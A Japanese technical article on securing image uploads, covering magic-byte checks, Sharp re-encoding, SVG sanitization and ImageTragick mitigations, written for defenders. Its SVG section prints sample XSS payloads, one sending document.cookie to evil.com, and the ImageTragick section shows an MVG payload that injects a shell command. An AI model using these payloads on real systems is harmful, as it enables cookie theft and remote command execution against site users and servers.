EN JA ZH ES

画像ファイルのセキュリティ脆弱性 - アップロード検証とサーバーサイド防御の実践

· 約 9 分で読めます

画像アップロードに潜むセキュリティリスクの全体像

画像アップロード機能は Web アプリケーションで最も一般的な機能の 1 つですが、同時に最も攻撃されやすい入口でもあります。攻撃者は画像ファイルを装った悪意のあるファイルをアップロードし、サーバーサイドでのコード実行、XSS (クロスサイトスクリプティング)、DoS (サービス拒否) などの攻撃を試みます。

主要な攻撃ベクトル:

  • 拡張子偽装: .php.jsp ファイルの拡張子を .jpg に変更してアップロードし、サーバーで実行させる
  • MIME タイプ偽装: Content-Type ヘッダーを image/jpeg に偽装し、実際には実行可能ファイルをアップロードする
  • ポリグロットファイル: 有効な画像ファイルであると同時に、有効な HTML/JavaScript/PHP でもあるファイルを作成する
  • 画像処理ライブラリの脆弱性: ImageMagick (ImageTragick)、libpng、libjpeg などの脆弱性を悪用し、画像処理時にリモートコード実行を引き起こす
  • メタデータインジェクション: EXIF データや XMP メタデータに悪意のあるスクリプトを埋め込む
  • Zip Bomb / Decompression Bomb: 展開すると巨大なサイズになる圧縮画像でメモリを枯渇させる

防御の基本原則は「クライアントからの入力を一切信頼しない」です。ファイル名、拡張子、Content-Type ヘッダー、ファイルサイズ、画像の内容すべてを検証し、安全が確認されたもののみを受け入れます。

マジックバイト検証 - ファイルの真の形式を判定する

マジックバイト (ファイルシグネチャ) は、ファイルの先頭数バイトに含まれる固定のバイト列で、ファイルの真の形式を識別します。拡張子や Content-Type は容易に偽装できますが、マジックバイトの検証により実際のファイル形式を確認できます。

主要画像フォーマットのマジックバイト:

  • JPEG: FF D8 FF (先頭 3 バイト)
  • PNG: 89 50 4E 47 0D 0A 1A 0A (先頭 8 バイト、ASCII で .PNG)
  • GIF: 47 49 46 38 (先頭 4 バイト、ASCII で GIF8)
  • WebP: 52 49 46 46 ?? ?? ?? ?? 57 45 42 50 (RIFF ヘッダー + WEBP)
  • AVIF: 00 00 00 ?? 66 74 79 70 61 76 69 66 (ftyp box + avif)
  • SVG: テキストベースのため、<svg または <?xml で始まる

Node.js での実装例:

const fileTypeFromBuffer = require('file-type'); async function validateImage(buffer) { const type = await fileTypeFromBuffer(buffer); const allowedTypes = ['image/jpeg', 'image/png', 'image/webp', 'image/gif']; if (!type || !allowedTypes.includes(type.mime)) { throw new Error('Invalid image format'); } return type; }

マジックバイト検証だけでは不十分な理由:

  • ポリグロットファイルは有効なマジックバイトを持ちながら、別の形式としても解釈可能
  • マジックバイトの後に悪意のあるペイロードを追加できる
  • SVG はテキストベースのため、マジックバイトだけでは JavaScript の埋め込みを検出できない

そのため、マジックバイト検証は防御の第一層として使用し、追加の検証 (画像の再エンコード、メタデータ除去) と組み合わせる必要があります。

画像の再エンコード - 最も効果的な防御手法

アップロードされた画像を一度デコードし、新しい画像として再エンコードすることは、最も効果的なセキュリティ対策です。この処理により、画像データ以外のすべてのペイロード (埋め込みスクリプト、ポリグロット構造、悪意のあるメタデータ) が除去されます。

再エンコードの実装 (Sharp / Node.js):

const sharp = require('sharp'); async function sanitizeImage(inputBuffer) { const metadata = await sharp(inputBuffer).metadata(); if (metadata.width > 10000 || metadata.height > 10000) { throw new Error('Image dimensions too large'); } if (metadata.width * metadata.height > 100000000) { throw new Error('Total pixel count exceeds limit'); } return sharp(inputBuffer).resize({ width: Math.min(metadata.width, 4096), height: Math.min(metadata.height, 4096), fit: 'inside', withoutEnlargement: true }).removeAlpha().jpeg({ quality: 85, mozjpeg: true }).toBuffer(); }

再エンコードで除去されるもの:

  • EXIF/XMP メタデータ: GPS 位置情報、カメラ情報、埋め込みスクリプトがすべて除去される
  • ポリグロット構造: 画像として有効なデータのみが新しいファイルに書き込まれる
  • トレーラーペイロード: 画像データの末尾に追加された悪意のあるバイト列が除去される
  • 不正なチャンク: PNG の不正な ancillary チャンクや JPEG の不正な APP マーカーが除去される

注意点:

  • 再エンコードは CPU リソースを消費する。Lambda のメモリを 1769MB 以上に設定し、タイムアウトを十分に確保する
  • Decompression Bomb 対策として、デコード前にメタデータから画像サイズを確認し、上限を超える場合は処理を拒否する
  • アニメーション GIF/WebP は再エンコードでフレームが失われる可能性がある。アニメーション対応が必要な場合は別途処理する

SVG のサニタイズ - XSS 攻撃の温床への対策

SVG は XML ベースのベクター画像フォーマットですが、<script> タグ、イベントハンドラ (onload, onerror)、外部リソース参照 (<use href>, <image href>) を含むことができるため、XSS 攻撃の温床になります。SVG のアップロードを許可する場合は、厳格なサニタイズが必須です。

SVG に埋め込み可能な攻撃コード例:

  • script タグ: <svg><script>alert(document.cookie)</script></svg>
  • イベントハンドラ: <svg onload="fetch('https://evil.com?c='+document.cookie)">
  • foreignObject: <foreignObject><body><script>...</script></body></foreignObject>
  • 外部参照: <image href="https://evil.com/track.gif" /> (SSRF の可能性)
  • CSS インジェクション: <style>@import url('https://evil.com/steal.css');</style>

SVG サニタイズの実装:

const { JSDOM } = require('jsdom'); const DOMPurify = require('dompurify'); function sanitizeSvg(svgString) { const window = new JSDOM('').window; const purify = DOMPurify(window); return purify.sanitize(svgString, { USE_PROFILES: { svg: true }, ADD_TAGS: ['use'], FORBID_TAGS: ['script', 'foreignObject'], FORBID_ATTR: ['onload', 'onerror', 'onclick', 'onmouseover'] }); }

より安全なアプローチ:

  • SVG を PNG/WebP に変換: SVG をラスタライズしてビットマップ画像に変換する。スクリプトの実行可能性を完全に排除できる
  • Content-Security-Policy: SVG を配信する際に Content-Security-Policy: script-src 'none' ヘッダーを付与し、埋め込みスクリプトの実行を防止する
  • sandbox iframe: SVG を <iframe sandbox> 内で表示し、親ページへのアクセスを遮断する
  • 別ドメインからの配信: ユーザーアップロード SVG を別ドメイン (例: user-content.example.com) から配信し、Cookie の漏洩を防止する

ImageTragick と画像処理ライブラリの脆弱性対策

ImageTragick (CVE-2016-3714) は ImageMagick の重大な脆弱性で、特殊な画像ファイルを処理させることでリモートコード実行 (RCE) が可能でした。この脆弱性は画像処理ライブラリの危険性を世界に知らしめ、画像処理のセキュリティ設計に大きな影響を与えました。

ImageTragick の攻撃手法:

  • ImageMagick の delegate 機能を悪用し、画像処理時に任意のシェルコマンドを実行する
  • MVG (Magick Vector Graphics) 形式のファイルに url(https://evil.com/"|ls -la) のようなペイロードを埋め込む
  • ファイルの拡張子を .jpg にしても、ImageMagick は内容を解析して MVG として処理してしまう

対策:

  • ImageMagick を使わない: 可能であれば Sharp (libvips ベース)、Pillow (Python)、Go の image パッケージなど、より安全な代替ライブラリを使用する
  • policy.xml の設定: ImageMagick を使う場合は policy.xml で危険な機能を無効化する。<policy domain="coder" rights="none" pattern="MVG" /><policy domain="coder" rights="none" pattern="EPHEMERAL" />
  • サンドボックス実行: 画像処理を Docker コンテナや Lambda の隔離環境で実行し、ホストシステムへの影響を遮断する
  • ライブラリの更新: 画像処理ライブラリを常に最新バージョンに保つ。CVE データベースを定期的に確認する

その他の画像処理ライブラリの脆弱性:

  • libpng: バッファオーバーフロー脆弱性が過去に複数発見されている
  • libjpeg-turbo: ヒープオーバーフローによるコード実行の脆弱性
  • libwebp: CVE-2023-4863 (ヒープバッファオーバーフロー) は Chrome、Firefox、Safari すべてに影響した重大な脆弱性

防御の多層化: 単一の対策に依存せず、マジックバイト検証 → サイズ制限 → 再エンコード → メタデータ除去 → サンドボックス実行の多層防御を構築してください。

実装チェックリスト - 安全な画像アップロードの設計

画像アップロード機能を実装する際のセキュリティチェックリストです。すべての項目を満たすことで、既知の攻撃ベクトルに対する包括的な防御を実現します。

フロントエンド (クライアントサイド):

  • ファイルサイズ制限: input[type=file]accept 属性で許可する MIME タイプを制限する。JavaScript でファイルサイズを事前チェックする (例: 25MB 上限)
  • プレビュー生成: URL.createObjectURL() でプレビューを表示し、ユーザーに確認させる。Canvas に描画してクライアントサイドで再エンコードすることも可能
  • 注意: クライアントサイドの検証はバイパス可能なため、UX 向上のためのみに使用し、セキュリティはサーバーサイドで担保する

サーバーサイド (必須):

  • ファイルサイズ検証: Content-Length ヘッダーとボディサイズの両方を検証する。上限を超えるリクエストは即座に拒否する
  • マジックバイト検証: file-type ライブラリでファイルの実際の形式を判定する。許可リスト (JPEG, PNG, WebP, GIF) に含まれない形式は拒否する
  • 画像メタデータ検証: デコード前に画像の幅・高さ・ピクセル数を確認する。Decompression Bomb 対策として上限を設定する (例: 10,000 × 10,000 px、総ピクセル数 1 億以下)
  • 再エンコード: Sharp で画像を再エンコードし、画像データ以外のペイロードを除去する
  • メタデータ除去: EXIF、XMP、IPTC メタデータをすべて除去する。GPS 位置情報の漏洩防止にも有効
  • ファイル名の再生成: アップロードされたファイル名を使用せず、UUID などのランダムな名前を生成する。パストラバーサル攻撃を防止する
  • 保存先の分離: アップロードされた画像を Web サーバーのドキュメントルート外に保存する。S3 + CloudFront で配信し、直接実行を防止する

配信時:

  • Content-Type の明示: 配信時に正しい Content-Type ヘッダーを設定する。ブラウザの MIME スニッフィングを防止するため X-Content-Type-Options: nosniff を付与する
  • Content-Disposition: ダウンロード用途では Content-Disposition: attachment を設定し、ブラウザでの直接表示を防止する
  • 別ドメイン配信: ユーザーアップロード画像を別ドメインから配信し、メインドメインの Cookie へのアクセスを遮断する

関連記事

画像共有時のプライバシー対策 - メタデータ削除から顔ぼかしまで

SNS やメッセージアプリで画像を共有する際のプライバシーリスクと、EXIF 削除、位置情報除去、顔ぼかしなどの具体的な対策を解説します。

EXIF データとプライバシーリスク - 位置情報漏洩を防ぐ方法

写真に埋め込まれる EXIF データの種類とプライバシーリスクを解説。GPS 位置情報の漏洩事例と、安全に写真を共有するための EXIF 削除方法を紹介します。

画像フォーマットの自動判定技術 - マジックナンバーによるファイル識別の仕組み

画像ファイルのフォーマットを拡張子に頼らず正確に判定する技術を解説。マジックナンバー、MIME タイプ推定、バイナリヘッダー解析の実装方法を具体的なコード例とともに紹介します。

写真ワークフロー自動化 - スクリプトで大量画像を効率処理する方法

数百〜数万枚の写真を効率的に処理するワークフロー自動化を解説。ImageMagick、sharp、ExifTool を使ったバッチ処理の実践テクニックを紹介します。

大量画像の一括処理ワークフロー - 効率的なバッチ処理の設計と実装

数百〜数千枚の画像を効率的に一括処理するワークフローの設計方法を、コマンドラインツールとスクリプトの実例で解説します。

favicon の作り方完全ガイド - ICO, SVG, PNG の使い分け

favicon の仕組みから、ICO, SVG, PNG 各フォーマットの特徴、ダークモード対応、各ブラウザの対応状況まで実践的に解説します。

関連用語